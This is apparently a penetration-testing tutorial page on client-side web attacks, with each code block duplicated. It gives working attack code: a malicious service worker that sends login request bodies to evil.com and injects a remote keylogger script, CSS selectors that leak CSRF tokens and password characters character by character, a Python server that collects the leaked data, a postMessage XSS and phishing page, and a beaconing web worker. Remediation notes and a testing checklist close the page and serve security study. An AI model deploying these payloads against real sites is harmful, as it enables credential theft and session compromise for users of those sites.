Exploitation A03 A07

Client-Side Attacks

Beyond traditional XSS — advanced browser-side attack techniques targeting the DOM, Window APIs, service workers, CSS parsing, and cross-origin communication mechanisms.

Why Client-Side Attacks Matter

Modern SPAs shift logic to the browser. DOM manipulation, cross-origin messaging, and browser APIs create attack surfaces that server-side WAFs cannot see. These attacks bypass traditional protections and are frequently overlooked in penetration tests.

🛠️ Tools

DOM Invader (Burp)

Browser extension for DOM-based vuln testing

PPScan

Prototype pollution scanner

postMessage-tracker

Chrome extension to intercept postMessages

Service Worker Detector

Chrome extension to detect SWs on pages

Browser DevTools

Application → Service Workers, Storage, Frames

CSSInjection

CSS exfiltration payload generator

1. DOM Clobbering

DOM clobbering uses HTML elements to overwrite JavaScript variables and DOM properties. Named elements (id and name attributes) are automatically registered as properties on the window object and document.

Warning

DOM clobbering doesn't require script execution — it works with sanitizers that allow HTML tags but strip JavaScript.
html
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
  // Developer expects 'config' to be a JS object
  let url = window.config?.baseUrl || '/default';
  fetch(url + '/api/data');
</script>

<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
     window.config.href = "https://evil.com"
     If code accesses window.config.href, it's clobbered -->

<!-- Deeper clobbering with form + input -->
<form id="config">
  <input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->

<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
  // Developer expects 'config' to be a JS object
  let url = window.config?.baseUrl || '/default';
  fetch(url + '/api/data');
</script>

<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
     window.config.href = "https://evil.com"
     If code accesses window.config.href, it's clobbered -->

<!-- Deeper clobbering with form + input -->
<form id="config">
  <input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->

<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->

Detection Approach

javascript
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized

// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
  const src = s.textContent;
  const patterns = [
    /window.(w+)s*(?.|&&|||)/g,
    /document.w+s*||/g,
  ];
  patterns.forEach(p => {
    let match;
    while ((match = p.exec(src)) !== null) {
      console.log('Potential clobbering target:', match[0]);
    }
  });
});
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized

// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
  const src = s.textContent;
  const patterns = [
    /window.(w+)s*(?.|&&|||)/g,
    /document.w+s*||/g,
  ];
  patterns.forEach(p => {
    let match;
    while ((match = p.exec(src)) !== null) {
      console.log('Potential clobbering target:', match[0]);
    }
  });
});

2. postMessage Abuse

window.postMessage() enables cross-origin communication between windows. Vulnerabilities arise when the receiver doesn't validate the message origin, or when the sender targets "*".

html
<!-- VULNERABLE receiver: no origin check -->
<script>
  window.addEventListener('message', function(event) {
    // ❌ No origin validation!
    document.getElementById('output').innerHTML = event.data.html;
    // Or: eval(event.data.code);
    // Or: window.location = event.data.redirect;
  });
</script>

<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
  const target = document.getElementById('target');
  target.onload = function() {
    // XSS via postMessage
    target.contentWindow.postMessage({
      html: '<img src=x onerror=alert(document.domain)>'
    }, '*');
    
    // Or redirect to phishing
    target.contentWindow.postMessage({
      redirect: 'https://evil.com/phish'
    }, '*');
  };
</script>
<!-- VULNERABLE receiver: no origin check -->
<script>
  window.addEventListener('message', function(event) {
    // ❌ No origin validation!
    document.getElementById('output').innerHTML = event.data.html;
    // Or: eval(event.data.code);
    // Or: window.location = event.data.redirect;
  });
</script>

<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
  const target = document.getElementById('target');
  target.onload = function() {
    // XSS via postMessage
    target.contentWindow.postMessage({
      html: '<img src=x onerror=alert(document.domain)>'
    }, '*');
    
    // Or redirect to phishing
    target.contentWindow.postMessage({
      redirect: 'https://evil.com/phish'
    }, '*');
  };
</script>

Finding postMessage Listeners

javascript
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message

// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"

// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString().substring(0, 200));
    console.trace();
  }
  return originalAddEventListener.call(this, type, listener, options);
};

// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message

// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"

// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString().substring(0, 200));
    console.trace();
  }
  return originalAddEventListener.call(this, type, listener, options);
};

// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data

3. Prototype Pollution

Prototype pollution allows attackers to inject properties into JavaScript object prototypes, affecting all objects in the application. This can lead to XSS, auth bypass, or DoS.

javascript
// Vulnerable merge/extend function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}

const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!

// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)

// Common gadgets:
// - jQuery: __proto__[jquery]=x  
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>
// Vulnerable merge/extend function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}

const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!

// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)

// Common gadgets:
// - jQuery: __proto__[jquery]=x  
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>
bash
# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"

# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted  
# ?__proto__.test=polluted

# Then check in console:
# ({}).test === "polluted"  → Vulnerable!

# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently
# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"

# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted  
# ?__proto__.test=polluted

# Then check in console:
# ({}).test === "polluted"  → Vulnerable!

# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently

4. Service Worker Attacks

Service workers are powerful scripts that intercept network requests, cache responses, and run in the background. A malicious service worker persists across page reloads and browser restarts.

Danger

A hijacked or malicious service worker can intercept all HTTPS requests from the scope, modify responses, steal credentials, and persist even after the XSS that installed it is patched.
javascript
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)

// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
  const url = new URL(event.request.url);
  
  // Intercept login requests → steal credentials
  if (url.pathname === '/api/login') {
    event.respondWith(
      event.request.clone().text().then(body => {
        // Exfiltrate credentials
        fetch('https://evil.com/log', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });
        return fetch(event.request); // Forward original request
      })
    );
    return;
  }
  
  // Inject script into HTML responses
  if (event.request.headers.get('accept')?.includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(response => {
        return response.text().then(html => {
          const modified = html.replace('</body>',
            '<script src="https://evil.com/keylogger.js"></script></body>');
          return new Response(modified, {
            headers: response.headers
          });
        });
      })
    );
    return;
  }
  
  event.respondWith(fetch(event.request));
});

// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)

// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
  const url = new URL(event.request.url);
  
  // Intercept login requests → steal credentials
  if (url.pathname === '/api/login') {
    event.respondWith(
      event.request.clone().text().then(body => {
        // Exfiltrate credentials
        fetch('https://evil.com/log', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });
        return fetch(event.request); // Forward original request
      })
    );
    return;
  }
  
  // Inject script into HTML responses
  if (event.request.headers.get('accept')?.includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(response => {
        return response.text().then(html => {
          const modified = html.replace('</body>',
            '<script src="https://evil.com/keylogger.js"></script></body>');
          return new Response(modified, {
            headers: response.headers
          });
        });
      })
    );
    return;
  }
  
  event.respondWith(fetch(event.request));
});

// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})

Audit Existing Service Workers

javascript
// DevTools → Application → Service Workers
// Check: scope, source URL, status

// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(r => {
    console.log('SW Scope:', r.scope);
    console.log('SW Script:', r.active?.scriptURL);
    console.log('SW State:', r.active?.state);
  });
});

// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)
// DevTools → Application → Service Workers
// Check: scope, source URL, status

// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(r => {
    console.log('SW Scope:', r.scope);
    console.log('SW Script:', r.active?.scriptURL);
    console.log('SW State:', r.active?.state);
  });
});

// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)

5. CSS Injection & Exfiltration

When an attacker can inject arbitrary CSS (via style attributes, <style> tags, or CSS imports), they can exfiltrate sensitive data from the page — including CSRF tokens, email addresses, and more.

css
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */

input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */

/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */

/* Data exfiltration via @font-face unicode-range */
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=A);
  unicode-range: U+0041; /* 'A' */
}
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=B);
  unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }

/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */

input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */

/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */

/* Data exfiltration via @font-face unicode-range */
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=A);
  unicode-range: U+0041; /* 'A' */
}
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=B);
  unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }

/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }
python
# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if params:
            print(f"[LEAK] {params}")
            with open('exfiltrated.txt', 'a') as f:
                f.write(f"{params}\n")
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()
# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if params:
            print(f"[LEAK] {params}")
            with open('exfiltrated.txt', 'a') as f:
                f.write(f"{params}\n")
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()

6. Web Worker & SharedArrayBuffer Attacks

javascript
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug

// From XSS, create an inline worker:
const code = `
  // Runs in worker context — no DOM access but can make requests
  setInterval(() => {
    fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
  }, 30000);
  
  // Crypto mining in worker (CPU abuse)
  // Or use for distributed scanning
  self.onmessage = function(e) {
    // Receive commands from the main thread
    if (e.data.type === 'scan') {
      fetch(e.data.url).then(r => r.text()).then(html => {
        self.postMessage({url: e.data.url, html: html});
      });
    }
  };
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
//           Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug

// From XSS, create an inline worker:
const code = `
  // Runs in worker context — no DOM access but can make requests
  setInterval(() => {
    fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
  }, 30000);
  
  // Crypto mining in worker (CPU abuse)
  // Or use for distributed scanning
  self.onmessage = function(e) {
    // Receive commands from the main thread
    if (e.data.type === 'scan') {
      fetch(e.data.url).then(r => r.text()).then(html => {
        self.postMessage({url: e.data.url, html: html});
      });
    }
  };
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
//           Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre

🛡️ Remediation & Defense

Defensive Measures

DOM Clobbering Prevention

  • • Use Object.create(null) for config objects
  • • Avoid relying on named DOM property access
  • • Use hasOwnProperty() checks
  • • Use DOMPurify with SANITIZE_NAMED_PROPS

postMessage Hardening

  • • Always validate event.origin
  • • Never use "*" as targetOrigin
  • • Validate and sanitize event.data
  • • Use structured clone for complex data

Prototype Pollution Prevention

  • • Validate/reject __proto__, constructor, prototype keys
  • • Use Object.freeze(Object.prototype)
  • • Use Map instead of plain objects for user data
  • • Use schema validation (Joi, Zod) on input

Service Worker & CSS Controls

  • • Restrict SW registration scope via Service-Worker-Allowed
  • • Limit file upload paths to non-executable directories
  • • Strict CSP: style-src 'self' (no 'unsafe-inline')
  • • Set COOP/COEP headers to isolate origins

CWE References: CWE-79 (XSS), CWE-1321 (Prototype Pollution), CWE-345 (Insufficient Verification of Data Authenticity), CWE-940 (Improper Verification of Source of a Communication Channel)

✅ Client-Side Testing Checklist

DOM Attacks
  • ☐ Test DOM clobbering on global vars
  • ☐ Check prototype pollution via params
  • ☐ Audit postMessage listeners (origin check)
  • ☐ Test postMessage with malicious data
Persistence
  • ☐ Enumerate service workers
  • ☐ Check SW scope and source paths
  • ☐ Test SW registration from XSS
  • ☐ Inspect web worker usage
Exfiltration
  • ☐ Test CSS injection for data leak
  • ☐ Check for CSS import injection
  • ☐ Verify CSP blocks inline styles
  • ☐ Test font-face exfiltration